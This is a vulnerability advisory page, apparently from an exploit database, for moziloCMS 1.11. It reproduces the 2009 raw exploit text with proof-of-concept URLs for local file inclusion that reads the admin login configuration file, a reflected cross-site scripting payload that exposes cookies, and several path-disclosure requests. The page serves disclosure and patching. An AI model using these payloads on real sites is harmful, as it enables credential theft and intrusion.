moziloCMS 1.11 (LFI/PD/XSS) Multiple Remote Vulnerabilites

vendor:

moziloCMS

by:

SirGod

7,5

CVSS

HIGH

Local File Inclusion, Cross Site Scripting, Path Disclosure

94, 79, 22

CWE

Product Name: moziloCMS

Affected Version From: 1.11

Affected Version To: 1.11

Patch Exists: YES

Related CWE: N/A

CPE: a:mozilo:mozilo_cms

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

moziloCMS 1.11 (LFI/PD/XSS) Multiple Remote Vulnerabilites

moziloCMS 1.11 is vulnerable to Local File Inclusion, Cross Site Scripting and Path Disclosure. An attacker can exploit these vulnerabilities to gain access to sensitive information, execute arbitrary code, and perform other malicious activities.

Mitigation:

Apply the latest security patches and update to the latest version of moziloCMS.

Source

Exploit-DB raw data:

###############################################################################################
[+] moziloCMS 1.11 (LFI/PD/XSS) Multiple Remote Vulnerabilites
[+] Discovered By SirGod
[+] www.mortal-team.org
[+] www.h4cky0u.org
###############################################################################################

[+] Local File Inclusion

 PoC 1 :

   http://127.0.0.1/index.php?cat=10_Willkommen&page=../../../../../BOOTSECT.BAK%00

 PoC 2 :

   http://127.0.0.1/index.php?cat=10_Willkommen&page=../../admin/conf/logindata.conf%00

[+] Cross Site Scripting

 PoC :

   http://127.0.0.1/index.php?action=search&query=<script>alert(document.cookie)</script>

[+] Path Disclosure

 PoC's :

   http://127.0.0.1/gallery.php?gal[]=moziloCMS
   http://127.0.0.1/index.php?cat=10_Willkommen&page[]=10_Willkommen
   http://127.0.0.1/index.php?cat[]=10_Willkommen&page=10_Willkommen
   http://127.0.0.1/download.php?cat=10_Willkommen&file[]=text.txt

###############################################################################################

# milw0rm.com [2009-04-10]